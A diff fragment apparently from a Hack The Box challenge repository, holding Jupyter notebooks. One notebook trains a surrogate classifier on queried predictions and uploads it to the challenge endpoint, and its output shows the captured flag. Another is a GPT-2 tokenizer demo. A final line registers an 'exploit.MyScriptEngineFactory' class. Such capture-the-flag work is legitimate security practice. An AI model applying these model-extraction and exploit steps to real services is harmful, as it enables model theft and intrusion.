"text/plain": [
|
||||
"['surrogate.joblib']"
|
||||
]
|
||||
},
|
||||
"execution_count": 4,
|
||||
"metadata": {},
|
||||
"output_type": "execute_result"
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"from sklearn.pipeline import make_pipeline\n",
|
||||
"from sklearn.preprocessing import StandardScaler\n",
|
||||
"from sklearn.linear_model import LogisticRegression\n",
|
||||
"import joblib\n",
|
||||
"\n",
|
||||
"surrogate_model = make_pipeline(StandardScaler(), LogisticRegression())\n",
|
||||
"surrogate_model.fit(samples_df, predictions_df)\n",
|
||||
"\n",
|
||||
"# save classifier to a file\n",
|
||||
"joblib.dump(surrogate_model, 'surrogate.joblib')\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 5,
|
||||
"id": "ddd1763f-dc46-4d40-b7bb-c9e866fdb632",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"{'accuracy': 0.9817518248175182, 'flag': 'HTB{ff08c0bb37e16f30a0804053a4de70ed}'}\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"with open('surrogate.joblib', 'rb') as f:\n",
|
||||
" file = f.read()\n",
|
||||
"\n",
|
||||
"r = requests.post(CLASSIFIER_URL + '/model', files={'file': ('surrogate.joblib', file)})\n",
|
||||
"\n",
|
||||
"print(json.loads(r.text))\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "7093628b-db4e-4f8f-a56e-69882f564303",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,108 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "08bf7c87-7357-4c1c-a185-190c2df112e6",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdin",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"> hello im jeremy\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Number of Input Characters: 15\n",
|
||||
"Number of Tokens: 5\n",
|
||||
"[\n",
|
||||
" \"hello\",\n",
|
||||
" \"\\u0120im\",\n",
|
||||
" \"\\u0120j\",\n",
|
||||
" \"ere\",\n",
|
||||
" \"my\"\n",
|
||||
"]\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stderr",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"/home/jeremy/.conda/envs/ai/lib/python3.11/site-packages/huggingface_hub/file_download.py:943: FutureWarning: `resume_download` is deprecated and will be removed in version 1.0.0. Downloads always resume when possible. If you want to force a new download, use `force_download=True`.\n",
|
||||
" warnings.warn(\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stdin",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"> safhawepoiefj\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Number of Input Characters: 13\n",
|
||||
"Number of Tokens: 6\n",
|
||||
"[\n",
|
||||
" \"saf\",\n",
|
||||
" \"haw\",\n",
|
||||
" \"ep\",\n",
|
||||
" \"o\",\n",
|
||||
" \"ief\",\n",
|
||||
" \"j\"\n",
|
||||
"]\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"from transformers import AutoTokenizer\n",
|
||||
"import json\n",
|
||||
"\n",
|
||||
"model = 'openai-community/gpt2'\n",
|
||||
"\n",
|
||||
"while 1:\n",
|
||||
"\ttext = input(\"> \")\n",
|
||||
"\n",
|
||||
"\ttokens = AutoTokenizer.from_pretrained(model).tokenize(text)\n",
|
||||
"\tprint(f\"Number of Input Characters: {len(text)}\")\n",
|
||||
"\tprint(f\"Number of Tokens: {len(tokens)}\")\n",
|
||||
"\tprint(json.dumps(tokens, indent=2))"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "9de80fcb-3145-4e9d-8265-ce885b2ed5d4",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
exploit.MyScriptEngineFactory
|
||||
Some files were not shown because too many files have changed in this diff Show More
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